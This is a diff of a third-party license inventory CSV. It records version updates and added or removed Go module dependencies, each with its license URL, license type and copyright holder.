+github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp,https://github.com/GoogleCloudPlatform/opentelemetry-operations-go/blob/detectors/gcp/v1.25.0/detectors/gcp/LICENSE,Apache-2.0,Google Cloud Platform +github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric,https://github.com/GoogleCloudPlatform/opentelemetry-operations-go/blob/exporter/metric/v0.48.1/exporter/metric/LICENSE,Apache-2.0,Google Cloud Platform +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping,https://github.com/GoogleCloudPlatform/opentelemetry-operations-go/blob/internal/resourcemapping/v0.48.1/internal/resourcemapping/LICENSE,Apache-2.0,Google Cloud Platform +github.com/alitto/pond,https://github.com/alitto/pond/blob/v1.9.2/LICENSE,MIT,Alejandro Durante +github.com/apache/tinkerpop/gremlin-go/v3/driver,https://github.com/apache/tinkerpop/blob/gremlin-go/v3.7.3/gremlin-go/driver/README.md,Apache-2.0,The Apache Software Foundation +github.com/aws/aws-sdk-go,https://github.com/aws/aws-sdk-go/blob/v1.55.5/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2,https://github.com/aws/aws-sdk-go-v2/blob/v1.36.2/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream,https://github.com/aws/aws-sdk-go-v2/blob/aws/protocol/eventstream/v1.6.10/aws/protocol/eventstream/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/config,https://github.com/aws/aws-sdk-go-v2/blob/config/v1.29.7/config/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/credentials,https://github.com/aws/aws-sdk-go-v2/blob/credentials/v1.17.60/credentials/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/feature/ec2/imds,https://github.com/aws/aws-sdk-go-v2/blob/feature/ec2/imds/v1.16.29/feature/ec2/imds/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/feature/s3/manager,https://github.com/aws/aws-sdk-go-v2/blob/feature/s3/manager/v1.17.10/feature/s3/manager/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/internal/configsources,https://github.com/aws/aws-sdk-go-v2/blob/internal/configsources/v1.3.33/internal/configsources/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2,https://github.com/aws/aws-sdk-go-v2/blob/internal/endpoints/v2.6.33/internal/endpoints/v2/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/internal/ini,https://github.com/aws/aws-sdk-go-v2/blob/internal/ini/v1.8.3/internal/ini/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/internal/sync/singleflight,https://github.com/aws/aws-sdk-go-v2/blob/v1.36.2/internal/sync/singleflight/LICENSE,BSD-3-Clause,Amazon Web Services +github.com/aws/aws-sdk-go-v2/internal/v4a,https://github.com/aws/aws-sdk-go-v2/blob/internal/v4a/v1.3.33/internal/v4a/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding,https://github.com/aws/aws-sdk-go-v2/blob/service/internal/accept-encoding/v1.12.3/service/internal/accept-encoding/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/internal/checksum,https://github.com/aws/aws-sdk-go-v2/blob/service/internal/checksum/v1.6.1/service/internal/checksum/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url,https://github.com/aws/aws-sdk-go-v2/blob/service/internal/presigned-url/v1.12.14/service/internal/presigned-url/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/internal/s3shared,https://github.com/aws/aws-sdk-go-v2/blob/service/internal/s3shared/v1.18.14/service/internal/s3shared/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/s3,https://github.com/aws/aws-sdk-go-v2/blob/service/s3/v1.77.1/service/s3/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/sso,https://github.com/aws/aws-sdk-go-v2/blob/service/sso/v1.24.16/service/sso/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/ssooidc,https://github.com/aws/aws-sdk-go-v2/blob/service/ssooidc/v1.28.15/service/ssooidc/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go-v2/service/sts,https://github.com/aws/aws-sdk-go-v2/blob/service/sts/v1.33.15/service/sts/LICENSE.txt,Apache-2.0,Amazon Web Services +github.com/aws/aws-sdk-go/internal/sync/singleflight,https://github.com/aws/aws-sdk-go/blob/v1.55.5/internal/sync/singleflight/LICENSE,BSD-3-Clause,Amazon Web Services +github.com/aws/smithy-go,https://github.com/aws/smithy-go/blob/v1.22.2/LICENSE,Apache-2.0,Amazon Web Services +github.com/aws/smithy-go/internal/sync/singleflight,https://github.com/aws/smithy-go/blob/v1.22.2/internal/sync/singleflight/LICENSE,BSD-3-Clause,Amazon Web Services +github.com/benbjohnson/clock,https://github.com/benbjohnson/clock/blob/v1.3.0/LICENSE,MIT,Ben Johnson github.com/beorn7/perks/quantile,https://github.com/beorn7/perks/blob/v1.0.1/LICENSE,MIT,Björn Rabenstein -github.com/cespare/xxhash/v2,https://github.com/cespare/xxhash/blob/v2.2.0/LICENSE.txt,MIT,Caleb Spare -github.com/davecgh/go-spew/spew,https://github.com/davecgh/go-spew/blob/v1.1.1/LICENSE,ISC,Dave Collins -github.com/dustin/go-humanize,https://github.com/dustin/go-humanize/blob/v1.0.0/LICENSE,MIT,Dustin Sallings -github.com/emicklei/go-restful/v3,https://github.com/emicklei/go-restful/blob/v3.9.0/LICENSE,MIT,Ernest Micklei -github.com/evanphx/json-patch/v5,https://github.com/evanphx/json-patch/blob/v5.6.0/v5/LICENSE,BSD-3-Clause,Evan Phoenix -github.com/fsnotify/fsnotify,https://github.com/fsnotify/fsnotify/blob/v1.6.0/LICENSE,BSD-3-Clause,fsnotify -github.com/go-logr/logr,https://github.com/go-logr/logr/blob/v1.2.4/LICENSE,Apache-2.0,go-logr -github.com/go-openapi/jsonpointer,https://github.com/go-openapi/jsonpointer/blob/v0.19.6/LICENSE,Apache-2.0,OpenAPI Initiative golang toolkit -github.com/go-openapi/jsonreference,https://github.com/go-openapi/jsonreference/blob/v0.20.1/LICENSE,Apache-2.0,OpenAPI Initiative golang toolkit -github.com/go-openapi/swag,https://github.com/go-openapi/swag/blob/v0.22.3/LICENSE,Apache-2.0,OpenAPI Initiative golang toolkit +github.com/census-instrumentation/opencensus-proto/gen-go,https://github.com/census-instrumentation/opencensus-proto/blob/v0.4.1/LICENSE,Apache-2.0,OpenCensus +github.com/cespare/xxhash/v2,https://github.com/cespare/xxhash/blob/v2.3.0/LICENSE.txt,MIT,Caleb Spare +github.com/cihub/seelog,https://github.com/cihub/seelog/blob/f561c5e57575/LICENSE.txt,BSD-3-Clause,Seelog project repository +github.com/cncf/xds/go,https://github.com/cncf/xds/blob/b4127c9b8d78/go/LICENSE,Apache-2.0,Cloud Native Computing Foundation (CNCF) +github.com/davecgh/go-spew/spew,https://github.com/davecgh/go-spew/blob/d8f796af33cc/LICENSE,ISC,Dave Collins +github.com/dustin/go-humanize,https://github.com/dustin/go-humanize/blob/v1.0.1/LICENSE,MIT,Dustin Sallings +github.com/eapache/queue/v2,https://github.com/eapache/queue/blob/75960ed334e4/v2/LICENSE,MIT,Evan Huus +github.com/emicklei/go-restful/v3,https://github.com/emicklei/go-restful/blob/v3.11.0/LICENSE,MIT,Ernest Micklei +github.com/envoyproxy/go-control-plane/envoy,https://github.com/envoyproxy/go-control-plane/blob/v0.13.1/LICENSE,Apache-2.0,Envoy Proxy - CNCF +github.com/envoyproxy/protoc-gen-validate/validate,https://github.com/envoyproxy/protoc-gen-validate/blob/v1.1.0/LICENSE,Apache-2.0,Envoy Proxy - CNCF +github.com/evanphx/json-patch/v5,https://github.com/evanphx/json-patch/blob/v5.9.11/v5/LICENSE,BSD-3-Clause,Evan Phoenix +github.com/felixge/httpsnoop,https://github.com/felixge/httpsnoop/blob/v1.0.4/LICENSE.txt,MIT,Felix Geisendörfer +github.com/fsnotify/fsnotify,https://github.com/fsnotify/fsnotify/blob/v1.7.0/LICENSE,BSD-3-Clause,fsnotify +github.com/fxamacker/cbor/v2,https://github.com/fxamacker/cbor/blob/v2.7.0/LICENSE,MIT,Faye Amacker +github.com/gabriel-vasile/mimetype,https://github.com/gabriel-vasile/mimetype/blob/v1.4.8/LICENSE,MIT,Gabriel Vasile +github.com/go-logr/logr,https://github.com/go-logr/logr/blob/v1.4.2/LICENSE,Apache-2.0,go-logr +github.com/go-logr/stdr,https://github.com/go-logr/stdr/blob/v1.2.2/LICENSE,Apache-2.0,go-logr +github.com/go-openapi/jsonpointer,https://github.com/go-openapi/jsonpointer/blob/v0.21.0/LICENSE,Apache-2.0,OpenAPI Initiative golang toolkit +github.com/go-openapi/jsonreference,https://github.com/go-openapi/jsonreference/blob/v0.20.2/LICENSE,Apache-2.0,OpenAPI Initiative golang toolkit +github.com/go-openapi/swag,https://github.com/go-openapi/swag/blob/v0.23.0/LICENSE,Apache-2.0,OpenAPI Initiative golang toolkit +github.com/go-playground/locales,https://github.com/go-playground/locales/blob/v0.14.1/LICENSE,MIT,Go Playgound +github.com/go-playground/universal-translator,https://github.com/go-playground/universal-translator/blob/v0.18.1/LICENSE,MIT,Go Playgound +github.com/go-playground/validator/v10,https://github.com/go-playground/validator/blob/v10.25.0/LICENSE,MIT,Go Playgound github.com/gogo/protobuf,https://github.com/gogo/protobuf/blob/v1.3.2/LICENSE,BSD-3-Clause,gogoprotobuf +github.com/golang-jwt/jwt/v5,https://github.com/golang-jwt/jwt/blob/v5.2.1/LICENSE,MIT,golang-jwt github.com/golang/groupcache/lru,https://github.com/golang/groupcache/blob/41bb18bfe9da/LICENSE,Apache-2.0,Go -github.com/golang/protobuf,https://github.com/golang/protobuf/blob/v1.5.3/LICENSE,BSD-3-Clause,Go +github.com/golang/protobuf,https://github.com/golang/protobuf/blob/v1.5.4/LICENSE,BSD-3-Clause,Go github.com/golang/snappy,https://github.com/golang/snappy/blob/v0.0.4/LICENSE,BSD-3-Clause,Go -github.com/google/gnostic,https://github.com/google/gnostic/blob/v0.5.7-v3refs/LICENSE,Apache-2.0,Google -github.com/google/go-cmp/cmp,https://github.com/google/go-cmp/blob/v0.5.9/LICENSE,BSD-3-Clause,Google +github.com/google/btree,https://github.com/google/btree/blob/v1.1.3/LICENSE,Apache-2.0,Google +github.com/google/gnostic-models,https://github.com/google/gnostic-models/blob/v0.6.8/LICENSE,Apache-2.0,Google +github.com/google/go-cmp/cmp,https://github.com/google/go-cmp/blob/v0.6.0/LICENSE,BSD-3-Clause,Google github.com/google/gofuzz,https://github.com/google/gofuzz/blob/v1.2.0/LICENSE,Apache-2.0,Google -github.com/google/pprof/profile,https://github.com/google/pprof/blob/4bb14d4b1be1/LICENSE,Apache-2.0,Google -github.com/google/uuid,https://github.com/google/uuid/blob/v1.3.0/LICENSE,BSD-3-Clause,Google -github.com/gorilla/websocket,https://github.com/gorilla/websocket/blob/v1.5.0/LICENSE,BSD-2-Clause,Gorilla web toolkit +github.com/google/pprof/profile,https://github.com/google/pprof/blob/d1b30febd7db/LICENSE,Apache-2.0,Google +github.com/google/s2a-go,https://github.com/google/s2a-go/blob/v0.1.8/LICENSE.md,Apache-2.0,Google +github.com/google/uuid,https://github.com/google/uuid/blob/v1.6.0/LICENSE,BSD-3-Clause,Google +github.com/google/wire,https://github.com/google/wire/blob/v0.6.0/LICENSE,Apache-2.0,Google +github.com/googleapis/enterprise-certificate-proxy/client,https://github.com/googleapis/enterprise-certificate-proxy/blob/v0.3.4/LICENSE,Apache-2.0,Google APIs +github.com/googleapis/gax-go/v2,https://github.com/googleapis/gax-go/blob/v2.14.1/v2/LICENSE,BSD-3-Clause,Google APIs +github.com/gorilla/websocket,https://github.com/gorilla/websocket/blob/v1.5.3/LICENSE,BSD-2-Clause,Gorilla web toolkit github.com/hashicorp/errwrap,https://github.com/hashicorp/errwrap/blob/v1.1.0/LICENSE,MPL-2.0,HashiCorp github.com/hashicorp/go-multierror,https://github.com/hashicorp/go-multierror/blob/v1.1.1/LICENSE,MPL-2.0,HashiCorp -github.com/hashicorp/hcl,https://github.com/hashicorp/hcl/blob/v1.0.0/LICENSE,MPL-2.0,HashiCorp -github.com/imdario/mergo,https://github.com/imdario/mergo/blob/v0.3.6/LICENSE,BSD-3-Clause,imdario +github.com/hashicorp/go-secure-stdlib/parseutil,https://github.com/hashicorp/go-secure-stdlib/blob/parseutil/v0.1.7/parseutil/LICENSE,MPL-2.0,HashiCorp +github.com/hashicorp/go-secure-stdlib/strutil,https://github.com/hashicorp/go-secure-stdlib/blob/strutil/v0.1.2/strutil/LICENSE,MPL-2.0,HashiCorp +github.com/hashicorp/go-sockaddr,https://github.com/hashicorp/go-sockaddr/blob/v1.0.2/LICENSE,MPL-2.0,HashiCorp +github.com/hashicorp/hcl,https://github.com/hashicorp/hcl/blob/v1.0.1-vault-5/LICENSE,MPL-2.0,HashiCorp +github.com/jmespath/go-jmespath,https://github.com/jmespath/go-jmespath/blob/v0.4.0/LICENSE,Apache-2.0,jmespath github.com/josharian/intern,https://github.com/josharian/intern/blob/v1.0.0/license.md,MIT,Josh Bleecher Snyder github.com/json-iterator/go,https://github.com/json-iterator/go/blob/v1.1.12/LICENSE,MIT,Jsoniter -github.com/klauspost/compress,https://github.com/klauspost/compress/blob/v1.15.0/LICENSE,Apache-2.0,Klaus Post -github.com/klauspost/compress/internal/snapref,https://github.com/klauspost/compress/blob/v1.15.0/internal/snapref/LICENSE,BSD-3-Clause,Klaus Post -github.com/klauspost/compress/zstd/internal/xxhash,https://github.com/klauspost/compress/blob/v1.15.0/zstd/internal/xxhash/LICENSE.txt,MIT,Klaus Post +github.com/klauspost/compress,https://github.com/klauspost/compress/blob/v1.17.11/LICENSE,Apache-2.0,Klaus Post +github.com/klauspost/compress/internal/snapref,https://github.com/klauspost/compress/blob/v1.17.11/internal/snapref/LICENSE,BSD-3-Clause,Klaus Post +github.com/klauspost/compress/zstd/internal/xxhash,https://github.com/klauspost/compress/blob/v1.17.11/zstd/internal/xxhash/LICENSE.txt,MIT,Klaus Post +github.com/kylelemons/godebug,https://github.com/kylelemons/godebug/blob/v1.1.0/LICENSE,Apache-2.0,Kyle Lemons +github.com/leodido/go-urn,https://github.com/leodido/go-urn/blob/v1.4.0/LICENSE,MIT,Leo Di Donato github.com/magiconair/properties,https://github.com/magiconair/properties/blob/v1.8.7/LICENSE.md,BSD-2-Clause,Frank Schröder github.com/mailru/easyjson,https://github.com/mailru/easyjson/blob/v0.7.7/LICENSE,MIT,Free and open source software developed at VK -github.com/matttproud/golang_protobuf_extensions/pbutil,https://github.com/matttproud/golang_protobuf_extensions/blob/v1.0.4/LICENSE,Apache-2.0,Matt T. Proud -github.com/mitchellh/mapstructure,https://github.com/mitchellh/mapstructure/blob/v1.5.0/LICENSE,MIT,Mitchell Hashimoto +github.com/mitchellh/mapstructure,https://github.com/mitchellh/mapstructure/blob/8508981c8b6c/LICENSE,MIT,Mitchell Hashimoto github.com/modern-go/concurrent,https://github.com/modern-go/concurrent/blob/bacd9c7ef1dd/LICENSE,Apache-2.0,Modern Go Programming github.com/modern-go/reflect2,https://github.com/modern-go/reflect2/blob/v1.0.2/LICENSE,Apache-2.0,Modern Go Programming -github.com/montanaflynn/stats,https://github.com/montanaflynn/stats/blob/1bf9dbcd8cbe/LICENSE,MIT,Montana Flynn +github.com/montanaflynn/stats,https://github.com/montanaflynn/stats/blob/v0.7.1/LICENSE,MIT,Montana Flynn github.com/munnerz/goautoneg,https://github.com/munnerz/goautoneg/blob/a7dc8b61c822/LICENSE,BSD-3-Clause,James Munnelly -github.com/nicksnyder/go-i18n/v2,https://github.com/nicksnyder/go-i18n/blob/v2.2.1/v2/LICENSE,MIT,Nick Snyder -github.com/outcaste-io/ristretto,https://github.com/outcaste-io/ristretto/blob/v0.2.1/LICENSE,Apache-2.0,Outcaste LLC -github.com/outcaste-io/ristretto/z,https://github.com/outcaste-io/ristretto/blob/v0.2.1/z/LICENSE,MIT,Outcaste LLC -github.com/pelletier/go-toml/v2,https://github.com/pelletier/go-toml/blob/v2.0.6/LICENSE,MIT,Thomas Pelletier -github.com/philhofer/fwd,https://github.com/philhofer/fwd/blob/v1.1.1/LICENSE.md,MIT,Phil +github.com/nicksnyder/go-i18n/v2,https://github.com/nicksnyder/go-i18n/blob/v2.4.1/LICENSE,MIT,Nick Snyder +github.com/oklog/ulid/v2,https://github.com/oklog/ulid/blob/v2.1.0/LICENSE,Apache-2.0,OK Log +github.com/outcaste-io/ristretto,https://github.com/outcaste-io/ristretto/blob/v0.2.3/LICENSE,Apache-2.0,Outcaste LLC +github.com/outcaste-io/ristretto/z,https://github.com/outcaste-io/ristretto/blob/v0.2.3/z/LICENSE,MIT,Outcaste LLC +github.com/pelletier/go-toml/v2,https://github.com/pelletier/go-toml/blob/v2.2.3/LICENSE,MIT,Thomas Pelletier +github.com/philhofer/fwd,https://github.com/philhofer/fwd/blob/fbbf4953d986/LICENSE.md,MIT,Phil +github.com/pkg/browser,https://github.com/pkg/browser/blob/5ac0b6a4141c/LICENSE,BSD-2-Clause,pkg github.com/pkg/errors,https://github.com/pkg/errors/blob/v0.9.1/LICENSE,BSD-2-Clause,pkg -github.com/prometheus/client_golang/prometheus,https://github.com/prometheus/client_golang/blob/v1.15.1/LICENSE,Apache-2.0,Prometheus -github.com/prometheus/client_model/go,https://github.com/prometheus/client_model/blob/v0.4.0/LICENSE,Apache-2.0,Prometheus -github.com/prometheus/common,https://github.com/prometheus/common/blob/v0.42.0/LICENSE,Apache-2.0,Prometheus -github.com/prometheus/common/internal/bitbucket.org/ww/goautoneg,https://github.com/prometheus/common/blob/v0.42.0/internal/bitbucket.org/ww/goautoneg/README.txt,BSD-3-Clause,Prometheus -github.com/prometheus/procfs,https://github.com/prometheus/procfs/blob/v0.9.0/LICENSE,Apache-2.0,Prometheus -github.com/richardartoul/molecule,https://github.com/richardartoul/molecule/blob/32cfee06a052/LICENSE,MIT,Richard Artoul -github.com/richardartoul/molecule/src/codec,https://github.com/richardartoul/molecule/blob/32cfee06a052/src/codec/LICENSE,Apache-2.0,Richard Artoul -github.com/richardartoul/molecule/src/protowire,https://github.com/richardartoul/molecule/blob/32cfee06a052/src/protowire/LICENSE,BSD-3-Clause,Richard Artoul -github.com/secure-systems-lab/go-securesystemslib/cjson,https://github.com/secure-systems-lab/go-securesystemslib/blob/v0.5.0/LICENSE,MIT,Secure Systems Lab at NYU -github.com/sirupsen/logrus,https://github.com/sirupsen/logrus/blob/v1.9.0/LICENSE,MIT,Simon Eskildsen +github.com/pmezard/go-difflib/difflib,https://github.com/pmezard/go-difflib/blob/5d4384ee4fb2/LICENSE,BSD-3-Clause,Patrick Mézard +github.com/prometheus/client_golang/internal/github.com/golang/gddo/httputil,https://github.com/prometheus/client_golang/blob/v1.20.5/internal/github.com/golang/gddo/LICENSE,BSD-3-Clause,Prometheus +github.com/prometheus/client_golang/prometheus,https://github.com/prometheus/client_golang/blob/v1.20.5/LICENSE,Apache-2.0,Prometheus +github.com/prometheus/client_model/go,https://github.com/prometheus/client_model/blob/v0.6.1/LICENSE,Apache-2.0,Prometheus +github.com/prometheus/common,https://github.com/prometheus/common/blob/v0.55.0/LICENSE,Apache-2.0,Prometheus +github.com/prometheus/procfs,https://github.com/prometheus/procfs/blob/v0.15.1/LICENSE,Apache-2.0,Prometheus +github.com/richardartoul/molecule,https://github.com/richardartoul/molecule/blob/7ca0df43c0b3/LICENSE,MIT,Richard Artoul +github.com/richardartoul/molecule/src/codec,https://github.com/richardartoul/molecule/blob/7ca0df43c0b3/src/codec/LICENSE,Apache-2.0,Richard Artoul +github.com/richardartoul/molecule/src/protowire,https://github.com/richardartoul/molecule/blob/7ca0df43c0b3/src/protowire/LICENSE,BSD-3-Clause,Richard Artoul +github.com/ryanuber/go-glob,https://github.com/ryanuber/go-glob/blob/v1.0.0/LICENSE,MIT,Ryan Uber +github.com/sagikazarmark/slog-shim,https://github.com/sagikazarmark/slog-shim/blob/v0.1.0/LICENSE,BSD-3-Clause,Márk Sági-Kazár +github.com/secure-systems-lab/go-securesystemslib/cjson,https://github.com/secure-systems-lab/go-securesystemslib/blob/v0.7.0/LICENSE,MIT,Secure Systems Lab at NYU +github.com/shirou/gopsutil/v3,https://github.com/shirou/gopsutil/blob/v3.24.4/LICENSE,BSD-3-Clause,shirou +github.com/shoenig/go-m1cpu,https://github.com/shoenig/go-m1cpu/blob/v0.1.6/LICENSE,MPL-2.0,Seth Hoenig github.com/spaolacci/murmur3,https://github.com/spaolacci/murmur3/blob/v1.1.0/LICENSE,BSD-3-Clause,Sébastien Paolacci -github.com/spf13/afero,https://github.com/spf13/afero/blob/v1.9.3/LICENSE.txt,Apache-2.0,Steve Francia -github.com/spf13/cast,https://github.com/spf13/cast/blob/v1.5.0/LICENSE,MIT,Steve Francia -github.com/spf13/cobra,https://github.com/spf13/cobra/blob/v1.6.1/LICENSE.txt,Apache-2.0,Steve Francia -github.com/spf13/jwalterweatherman,https://github.com/spf13/jwalterweatherman/blob/v1.1.0/LICENSE,MIT,Steve Francia -github.com/spf13/pflag,https://github.com/spf13/pflag/blob/v1.0.5/LICENSE,BSD-3-Clause,Steve Francia -github.com/spf13/viper,https://github.com/spf13/viper/blob/v1.15.0/LICENSE,MIT,Steve Francia -github.com/subosito/gotenv,https://github.com/subosito/gotenv/blob/v1.4.2/LICENSE,MIT,Alif Rachmawadi -github.com/tinylib/msgp/msgp,https://github.com/tinylib/msgp/blob/v1.1.6/LICENSE,MIT,tinylib +github.com/spf13/afero,https://github.com/spf13/afero/blob/v1.12.0/LICENSE.txt,Apache-2.0,Steve Francia +github.com/spf13/cast,https://github.com/spf13/cast/blob/v1.6.0/LICENSE,MIT,Steve Francia +github.com/spf13/cobra,https://github.com/spf13/cobra/blob/v1.9.1/LICENSE.txt,Apache-2.0,Steve Francia +github.com/spf13/pflag,https://github.com/spf13/pflag/blob/v1.0.6/LICENSE,BSD-3-Clause,Steve Francia +github.com/spf13/viper,https://github.com/spf13/viper/blob/v1.19.0/LICENSE,MIT,Steve Francia +github.com/stretchr/objx,https://github.com/stretchr/objx/blob/v0.5.2/LICENSE,MIT,Stretchr, Inc. +github.com/stretchr/testify,https://github.com/stretchr/testify/blob/v1.10.0/LICENSE,MIT,Stretchr, Inc. +github.com/subosito/gotenv,https://github.com/subosito/gotenv/blob/v1.6.0/LICENSE,MIT,Alif Rachmawadi +github.com/tinylib/msgp/msgp,https://github.com/tinylib/msgp/blob/v1.2.1/LICENSE,MIT,tinylib +github.com/tklauser/go-sysconf,https://github.com/tklauser/go-sysconf/blob/v0.3.12/LICENSE,BSD-3-Clause,Tobias Klauser +github.com/x448/float16,https://github.com/x448/float16/blob/v0.8.4/LICENSE,MIT,Montgomery Edwards⁴⁴⁸ github.com/xdg-go/pbkdf2,https://github.com/xdg-go/pbkdf2/blob/v1.0.0/LICENSE,Apache-2.0,xdg Go code -github.com/xdg-go/scram,https://github.com/xdg-go/scram/blob/v1.1.1/LICENSE,Apache-2.0,xdg Go code -github.com/xdg-go/stringprep,https://github.com/xdg-go/stringprep/blob/v1.0.3/LICENSE,Apache-2.0,xdg Go code -github.com/youmark/pkcs8,https://github.com/youmark/pkcs8/blob/1be2e3e5546d/LICENSE,MIT,Yutong Wang -go.mongodb.org/mongo-driver,https://github.com/mongodb/mongo-go-driver/blob/v1.11.6/LICENSE,Apache-2.0,mongodb -go.uber.org/atomic,https://github.com/uber-go/atomic/blob/v1.10.0/LICENSE.txt,MIT,Uber Go -go.uber.org/ratelimit,https://github.com/uber-go/ratelimit/blob/v0.2.0/LICENSE,MIT,Uber Go -golang.org/x/crypto,https://cs.opensource.google/go/x/crypto/+/v0.7.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/net,https://cs.opensource.google/go/x/net/+/v0.10.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/oauth2,https://cs.opensource.google/go/x/oauth2/+/v0.5.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/sync/errgroup,https://cs.opensource.google/go/x/sync/+/v0.2.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/sys/unix,https://cs.opensource.google/go/x/sys/+/v0.8.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/term,https://cs.opensource.google/go/x/term/+/v0.8.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/text,https://cs.opensource.google/go/x/text/+/v0.9.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/time/rate,https://cs.opensource.google/go/x/time/+/v0.3.0:LICENSE,BSD-3-Clause,Uber Go -golang.org/x/xerrors,https://cs.opensource.google/go/x/xerrors/+/04be3eba:LICENSE,BSD-3-Clause,Uber Go -gomodules.xyz/jsonpatch/v2,https://github.com/gomodules/jsonpatch/blob/v2.3.0/v2/LICENSE,Apache-2.0,gomodules -google.golang.org/protobuf,https://github.com/protocolbuffers/protobuf-go/blob/v1.30.0/LICENSE,BSD-3-Clause,Protocol Buffers -gopkg.in/DataDog/dd-trace-go.v1,https://github.com/DataDog/dd-trace-go/blob/v1.51.0/LICENSE,Apache-2.0,Datadog, Inc. +github.com/xdg-go/scram,https://github.com/xdg-go/scram/blob/v1.1.2/LICENSE,Apache-2.0,xdg Go code +github.com/xdg-go/stringprep,https://github.com/xdg-go/stringprep/blob/v1.0.4/LICENSE,Apache-2.0,xdg Go code +github.com/youmark/pkcs8,https://github.com/youmark/pkcs8/blob/a2c0da244d78/LICENSE,MIT,Yutong Wang +go.mongodb.org/mongo-driver,https://github.com/mongodb/mongo-go-driver/blob/v1.17.3/LICENSE,Apache-2.0,mongodb +go.opencensus.io,https://github.com/census-instrumentation/opencensus-go/blob/v0.24.0/LICENSE,Apache-2.0,OpenCensus +go.opentelemetry.io/collector/component,https://github.com/open-telemetry/opentelemetry-collector/blob/component/v0.104.0/component/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/collector/config/configtelemetry,https://github.com/open-telemetry/opentelemetry-collector/blob/config/configtelemetry/v0.104.0/config/configtelemetry/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/collector/pdata,https://github.com/open-telemetry/opentelemetry-collector/blob/pdata/v1.11.0/pdata/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/collector/semconv,https://github.com/open-telemetry/opentelemetry-collector/blob/semconv/v0.104.0/semconv/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/contrib/detectors/gcp,https://github.com/open-telemetry/opentelemetry-go-contrib/blob/detectors/gcp/v1.32.0/detectors/gcp/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc,https://github.com/open-telemetry/opentelemetry-go-contrib/blob/instrumentation/google.golang.org/grpc/otelgrpc/v0.56.0/instrumentation/google.golang.org/grpc/otelgrpc/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp,https://github.com/open-telemetry/opentelemetry-go-contrib/blob/instrumentation/net/http/otelhttp/v0.56.0/instrumentation/net/http/otelhttp/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/otel,https://github.com/open-telemetry/opentelemetry-go/blob/v1.32.0/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/otel/metric,https://github.com/open-telemetry/opentelemetry-go/blob/metric/v1.32.0/metric/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/otel/sdk,https://github.com/open-telemetry/opentelemetry-go/blob/sdk/v1.32.0/sdk/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/otel/sdk/metric,https://github.com/open-telemetry/opentelemetry-go/blob/sdk/metric/v1.32.0/sdk/metric/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.opentelemetry.io/otel/trace,https://github.com/open-telemetry/opentelemetry-go/blob/trace/v1.32.0/trace/LICENSE,Apache-2.0,OpenTelemetry - CNCF +go.uber.org/atomic,https://github.com/uber-go/atomic/blob/v1.11.0/LICENSE.txt,MIT,Uber Go +go.uber.org/multierr,https://github.com/uber-go/multierr/blob/v1.11.0/LICENSE.txt,MIT,Uber Go +go.uber.org/ratelimit,https://github.com/uber-go/ratelimit/blob/v0.3.1/LICENSE,MIT,Uber Go +go.uber.org/zap,https://github.com/uber-go/zap/blob/v1.27.0/LICENSE,MIT,Uber Go +gocloud.dev,https://github.com/google/go-cloud/blob/v0.40.0/LICENSE,Apache-2.0,Google +golang.org/x/crypto,https://cs.opensource.google/go/x/crypto/+/v0.35.0:LICENSE,BSD-3-Clause,Google +golang.org/x/mod/semver,https://cs.opensource.google/go/x/mod/+/v0.23.0:LICENSE,BSD-3-Clause,Google +golang.org/x/net,https://cs.opensource.google/go/x/net/+/v0.35.0:LICENSE,BSD-3-Clause,Google +golang.org/x/oauth2,https://cs.opensource.google/go/x/oauth2/+/v0.25.0:LICENSE,BSD-3-Clause,Google +golang.org/x/sync,https://cs.opensource.google/go/x/sync/+/v0.11.0:LICENSE,BSD-3-Clause,Google 